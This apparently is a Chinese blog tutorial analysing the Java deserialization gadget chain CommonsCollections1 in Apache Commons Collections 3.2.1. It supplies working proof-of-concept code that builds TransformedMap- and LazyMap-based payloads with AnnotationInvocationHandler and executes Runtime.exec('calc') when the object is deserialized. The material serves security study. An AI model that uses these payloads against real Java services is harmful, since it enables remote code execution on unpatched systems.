JAVA反序列化深入学习(三):CommonsCollections1

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。

目录

JAVA环境

依赖版本

检查依赖配置

资源下载

前置知识

AbstractMapDecorator

TransformedMap

decorate

transformKey/transformValue

put

使用实例

LazyMap

decorate

get

使用实例

Transformer

InvokerTransformer - sink

transform

利用实例

ChainedTransformer - chain

transform

ConstantTransformer

攻击构造

sink & chain

kick-off

AnnotationInvocationHandler

构造方法

readObject

构造恶意Payload

基于TransformedMap

反序列化流程分析

基于LazyMap

总结

利用说明

Gadget 总结

调用链展示

基于TransformedMap

基于LazyMap

拓展知识点:动态代理

1. 动态代理的核心组件

2. 动态代理的工作流程


JAVA环境

java version "1.8.0_66"

Java(TM) SE Runtime Environment (build 1.8.0_66-b18)

Java HotSpot(TM) 64-Bit Server VM (build 25.66-b18, mixed mode)

Apache Commons Collections 依赖版本:Commons Collection 3.2.1

依赖版本

  • commons-collections : 3.1 - 3.2.1
  • TransformedMap - jdk < 8u71

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

资源下载

前置知识

AbstractMapDecorator

首先 CC 库中提供了一个抽象类org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能

被装饰的 map 存在于该类的属性中,并且将所有的操作都转发给这个 map

这个类有很多实现类,各个类触发的方式不同,重点关注:

  • TransformedMap
  • LazyMap
TransformedMap

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时

  1. 自动对该元素进行特定的修饰变换
  2. 具体的变换逻辑由 Transformer 来定义
  3. TransformerTransformedMap 实例化时作为参数传入

接下来看一下几个重点方法

decorate

TransformedMap 通过 decorate 函数将自定义的转换逻辑Transformer装饰到传入的map 中,Transformer分为keyTransformervalueTransformer,分别对应key和value的转换逻辑

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
transformKey/transformValue

transformKey/transformValue方法中,会调用keyTransformer/valueTransformertransform方法,实际进行转换

protected Object transformKey(Object object) {
    if (keyTransformer == null) {
        return object;
    }
    return keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    return valueTransformer.transform(object);
}
put

调用 TransformedMapput 方法时,会触发transformKey/transformValue方法,从而触发transform方法,实际进行转换

public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

当 TransformedMap 内的 key 或者 value 发生变化时,就会触发相应参数的 Transformertransform 方法,这里以put方法举例

使用实例
public static void main(String[] args) throws Exception {

    // 创建基础HashMap对象
    HashMap<Object, Object> map = new HashMap<>();
    map.put(1, "a");
    System.out.println("初始化map: " + map);

    // 创建一个Transformer对象,将输入的key转换为key + 1
    Transformer keyTransformer = input -> (Object) ((int) input + 1);
    // 创建一个Transformer对象,将输入的value转换为value + "1"
    Transformer valueTransformer = input -> input + "1";

    // 使用TransformedMap包装原始map对象
    Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

    // 使用put触发transform()方法
    transformedMap.put(2, "b");
    System.out.println("transformedMap1: " + transformedMap);
    transformedMap.put(1, "c");
    System.out.println("transformedMap2: " + transformedMap);
    transformedMap.remove(1);
    System.out.println("transformedMap3: " + transformedMap);
}

LazyMap

org.apache.commons.collections.map.LazyMapTransformedMap 类似,差异在于

  • 调用get()方法时如果传入的 key 不存在,则会触发相应参数的Transformertransform()方法。

org.apache.commons.collections.map.DefaultedMapLazyMap 具有相同功能,同样是 get() 方法会触发 transform()方法

decorate

LazyMap 通过 decorate 函数将自定义的转换逻辑Transformer装饰到传入的map 中,Transformer只有factory,不分keyTransformervalueTransformer

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}
get

调用 LazyMap 的 get 方法时,如果装饰的 map 中不存在传入的key,会触发factorytransform方法,实际进行转换

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}
使用实例
public void test() {

    // 创建基础HashMap对象
    HashMap<Object, Object> map = new HashMap<>();
    map.put(1, "a");
    System.out.println("初始化map: " + map);
    
    // 创建一个Transformer对象,将输入的key转换为key + 1
    Transformer factory = input -> (Object) ((int) input + 1);

    // 使用TransformedMap包装原始map对象
    Map lazyMap = LazyMap.decorate(map, factory);

    System.out.println("LazyMap: " + lazyMap);
    System.out.println("LazyMap.get(1): " + lazyMap.get(1));
    System.out.println("LazyMap.get(2): " + lazyMap.get(2));
    System.out.println("LazyMap: " + lazyMap);
}

Transformer

org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑

transform() 方法方法接收 Object 类型的 input,处理后将 Object 返回

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对TransformedMap 中 key/value 进行修改的功能。

IDEA可以很清楚看到有哪些Transformer 的实现类,不过我这里用的VSCode,只发现可以根据引用来判断有哪些Transformer 的实现类,嗯。。。考虑换一个IDE调JAVA了

重点关注其中几个实现类。

InvokerTransformer - sink

这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象

直接调代码看到的是经过反编译之后的代码,这种反编译的包不好调试。我们下载导入的它的源码,调试起来会比较方便。

transform

来看一下它的对于transform() 方法的实现

/**
 * Transforms the input to result by invoking a method on the input.
 * 
 * @param input  the input object to transform
 * @return the transformed result, null if null input
 */
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

方法注释写的很清楚,通过调用 input 上的方法对 input 进行转换,并将方法返回结果作为处理结果进行返回

具体使用反射创建新对象的过程为:

  1. Class cls = input.getClass();
    1. 通过对象实例获取类的所有信息,是反射的入口
  1. Method method = cls.getMethod(iMethodName, iParamTypes);
    1. 获取 iMethodName 方法,参数类型为 iParamTypes
  2. return method.invoke(input, iArgs);
    1. 对于 input 对象执行 iMethodName 方法,参数为 iParamTypes
    2. 将执行的结果作为对象返回

调用需要的参数iMethodNameiParamTypes是在InvokerTransformer的构造函数中传入

/**
 * Constructor that performs no validation.
 * Use <code>getInstance</code> if you want that.
 * 
 * @param methodName  the method to call
 * @param paramTypes  the constructor parameter types, not cloned
 * @param args  the constructor arguments, not cloned
 */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

这样我们就可以使用 InvokerTransformer 来执行方法

利用实例
  1. 定义转换逻辑
    1. iMethodName设置为exec,表示调用exec方法
    2. iParamTypes设置参数类型,我们设置为一个Class数组
    3. iArgs设置参数实体,即exec具体执行的命令,我们传入字符串calc
  2. 调用transform()方法,传入Object 类型的输入进行转换
    1. 我们传入Runtime.getRuntime()
public class TestInvokerTransformer {
    
    @Test
    public void invoker() throws Exception {
        
        // InvokerTransformer 弹计算器测试
        InvokerTransformer transformer = new InvokerTransformer(
            "exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"}
        );
        transformer.transform(Runtime.getRuntime());
    }
}

将调用Runtime.getRuntime()中的exec方法,加上calc参数,最终执行Runtime.getRuntime().exec("calc")

很明显,InvokerTransformer就是一个sink点

ChainedTransformer - chain

org.apache.commons.collections.functors.ChainedTransformer类也是一个 Transformer 的实现类,但是这个类自己维护了一个 Transformer 数组

transform

在调用 ChainedTransformertransform 方法时:

  1. 循环数组
  2. 依次调用 Transformer 数组中每个 Transformer 的 transform 方法
  3. 将结果传递给下一个 Transformer
/**
 * Transforms the input to result via each decorated transformer
 * 
 * @param object  the input object passed to the first transformer
 * @return the transformed result
 */
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这样就给了使用者链式调用多个 Transformer 分别处理对象的能力

调用需要的参数iTransformers是在ChainedTransformer的构造函数中传入

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer 是一个返回固定常量的 Transformer

在初始化时储存了一个 Object,transform方法调用时会忽略输入,直接返回存储的 Object。

/** The closures to call in turn */
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

/**
 * Transforms the input by ignoring it and returning the stored constant instead.
 * 
 * @param input  the input object which is ignored
 * @return the stored constant
 */
public Object transform(Object input) {
    return iConstant;
}

这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。

攻击构造

有了上述基础知识的铺垫,就可以开始构造反序列化的恶意利用代码了。

sink & chain

例如我们还是要执行 Runtime.getRuntime().exec("calc"),按照需求对其进行拆分

这里使用 TransformedMap 触发,实例代码如下:

public class TestTransformedMap2 {

    @Test
    public void transformMap() throws Exception {

        // 创建基础HashMap对象
        HashMap<Object, Object> map = new HashMap<>();

        // 结合 ChainedTransformer
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
            
        // 通过反射调用Runtime.class的getMethod方法,获取getRuntime方法的引用
                new InvokerTransformer(
                    "getMethod", 
                    new Class[]{String.class, Class[].class}, 
                    new Object[]{"getRuntime", null}
                ),
            
        // 调用getRuntime方法的invoke方法,获取Runtime实例
        // getRuntime是静态方法,它会返回一个Runtime实例
                new InvokerTransformer(
                    "invoke", 
                    new Class[]{Object.class, Object[].class}, 
                    new Object[]{null, null}
                ),
            
        // 调用Runtime实例的exec方法,执行指定的命令
                new InvokerTransformer(
                    "exec", 
                    new Class[]{String.class}, 
                    new Object[]{"calc"}
                )
        });

        // 使用TransformedMap包装原始map对象
        Map map2 = TransformedMap.decorate(map, chain, null);

        map2.put(10, "1");
        System.out.println("map2: " + map2);
    }   
}
  1. 使用 ConstantTransformer 返回 RuntimeClass 对象
  2. RuntimeClass 对象将作为输入,传入 InvokerTransformer 中,并借助 ChainedTransformer 的链式调用方式完成反射的调用,支持恶意代码
  3. 使用TransformedMapdecorate方法将ChainedTransformer设置为map的装饰器处理方法
  4. 当调用TransformedMapput/setValue等方法时会触发Transformer链的调用处理

kick-off

在上面已经利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget,条件为:

  • 一个类
  • 重写了 readObject
  • 在反序列化时可以改变 map 的值
AnnotationInvocationHandler

我们找到了 sun.reflect.annotation.AnnotationInvocationHandler 这个类。

这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理,分析一下这个类的代码:

构造方法

构造方法接收两个参数

  • 第一个参数是 Annotation 实现类的 Class 对象 type
  • 第二个参数是是一个Map<String, Object>, key 为 String,value 为 Object

构造方法对于Annotation 实现类的 Class 对象type 进行判断

  • 是否有且只有一个父接口
  • 父接口是否为 Annotation.class

都为真才会将两个参数初始化在成员属性 typememberValues 中,这里的 memberValues 就是用来触发的 Map

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}
readObject

接下来我们看一下这个类重写的 readObject 方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
  1. 调用 AnnotationType.getInstance(type) 方法
    1. 获取 type 这个注解类对应的 AnnotationType 的对象
  2. 调用注解类的memberTypes()方法
    1. 获取其 memberTypes 属性
      1. 这个属性是个 Map,存放这个注解中可以配置的值
  1. 循环 memberValues 这个 Map ,获取其 Key
    1. 通过memberType.isInstance(value)判断值是否是成员类型的实例
    2. 同时,代码还检查值是否是ExceptionProxy的实例
    3. 如果值既不是成员类型的实例,也不是ExceptionProxy的实例,则认为类型不匹配,进行处理
      1. 创建一个新的AnnotationTypeMismatchExceptionProxy对象,并将该成员的详细信息设置到代理对象中
        1. 这个代理对象的作用是延迟抛出类型不匹配的异常,直到实际访问该成员时才抛出
      2. 调用 setValue 方法写入值
构造恶意Payload
基于TransformedMap

所以我们构造恶意Payload的思路就清楚了:

  1. 构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map<String, Object>
    1. Map 的 key 中要有注解类中存在的属性
    2. 但是 value 不是对应的实例,也不是 ExceptionProxy 对象
  2. Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰
  3. ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作
public void CC1WithTransformedMap() throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    });

    HashMap<Object, Object> map = new HashMap<>();

    // 注意:这里的 key 应该是 AnnotationInvocationHandler 实例化时传入的注解类中的属性值
    // 并且这里的 value 不是属性值的类型
    map.put("comments", 2);
    Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);

    // 获取 AnnotationInvocationHandler 的 Class 对象
    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

    // 获取 AnnotationInvocationHandler 的构造函数
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

    // 设置构造函数为可访问
    constructor.setAccessible(true);

    // 使用反射创建 AnnotationInvocationHandler 的实例,传入 .class 和 decorated
    // Object o = constructor.newInstance(Target.class, decorated);
    Object o = constructor.newInstance(Generated.class, decorated);

    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(o);
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    ois.readObject();
    ois.close();
}

这里有个细节就是网上大多数 payload 使用 Target.class 的 value 属性来触发,其实用什么都行,找任意一个有属性的注解都可以,在上面的示例代码中使用了 Generated.classcomments 属性。

反序列化流程分析

读取文件进行反序列化时,实际执行AnnotationInvocationHandler重写的readObject方法,最后执行setValue

setValueAbstractInputCheckedMapDecoratorMapEntry类的setValue方法

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value); 
}
  1. setValue方法中会执行父类的checkSetValue,即TransformedMap#checkSetValue
    1. 实际调用valueTransformer.transform,执行chainedTransformertransform方法
    2. 最终执行chainedTransformer的 Transformer 数组中所有 Transformer 的 transform方法
  2. setValue方法调用HashMap#setValue设置 value,并返回原 value 值
基于LazyMap

除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get 方法获取不到 key 的时候触发 Transformer。

我们发现 AnnotationInvocationHandlerinvoke方法可以触发 memberValues 的 get 方法。

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

这里用到了动态代理,总结起来的一句话就是:

被动态代理的对象调用任意方法都会调用对应的InvocationHandlerinvoke 方法

那构造的思路的就有了:

  1. 先使用 InvocationHandler代理一下 LazyMap
    1. 使用反射获取AnnotationInvocationHandler类的构造函数
    2. 通过反射调用构造函数,创建InvocationHandler实例,传入Generated.class和装饰后的map
    3. 使用Proxy.newProxyInstance创建一个代理实例,该代理实现LazyMap的接口,并使用之前创建的InvocationHandler处理方法调用
  2. 后续反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法
    1. 触发 LazyMap 的 get 方法
  3. 再使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler

不得不说这种思路稍微有些变态,因为使用了 AnnotationInvocationHandler 作为反序列化触发点,又同时使用其动态代理特性,所以有点绕。

那么最终的恶意代码为:

public void TestCC1WithLazyMap() throws Exception {
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    });

    HashMap<Object, Object> map = new HashMap<>();
    map.put("comments", 2);
    Map<Object, Object> decorated = LazyMap.decorate(map, chainedTransformer);

    Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);

    InvocationHandler o = (InvocationHandler)constructor.newInstance(Generated.class, decorated);
    // 创建LazyMap的动态代理类实例
    Map<Object, Object> mapProxy = (Map<Object, Object>) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), o);
    InvocationHandler o1 = (InvocationHandler)constructor.newInstance(Generated.class, mapProxy);

    // 使用动态代理初始化 AnnotationInvocationHandler
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(o1);
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
    ois.readObject();
    ois.close();
}

总结

以上就是 CC1 链分析的全部内容了,最后总结一下

利用说明

  1. 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作
  2. 配合 TransformedMap/LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法
  3. 最后结合了以下两者完成了恶意调用链的构成
    1. ChainedTransformer 的链式调用
    2. InvokerTransformer 的反射执行
  4. 其中 LazyMap 的触发还用到了动态代理机制。

Gadget 总结

  1. kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
  2. sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
  3. chain gadget:org.apache.commons.collections.functors.ChainedTransformer#transform()

调用链展示

基于TransformedMap
AnnotationInvocationHandler.readObject()
   TransformedMap.checkSetValue()
            TransformedMap.setValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InvokerTransformer.transform()
基于LazyMap
AnnotationInvocationHandler.readObject()
   *Map(Proxy).entrySet()
        *AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InvokerTransformer.transform()

拓展知识点:动态代理

动态代理是一种在运行时动态生成代理类的技术。代理类可以实现一个或多个接口,并在运行时拦截和处理方法调用。动态代理通常用于实现AOP(面向切面编程),如日志记录、事务管理、权限验证等。

动态代理的实现依赖于java.lang.reflect.Proxy类和InvocationHandler接口。

1. 动态代理的核心组件

  • InvocationHandler:这是一个接口,定义了一个invoke方法,用于处理代理对象的方法调用。
  • Proxy:提供静态方法newProxyInstance,用于创建代理对象。

2. 动态代理的工作流程

  1. 定义接口:代理类必须实现一个或多个接口。
  2. 实现InvocationHandler:创建一个实现InvocationHandler接口的类,重写invoke方法,处理方法调用。
  3. 创建代理对象:使用Proxy.newProxyInstance方法,传入接口类加载器、接口类型数组和InvocationHandler实例,生成代理对象。
  4. 调用代理方法:通过代理对象调用方法,InvocationHandler会拦截并处理这些调用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值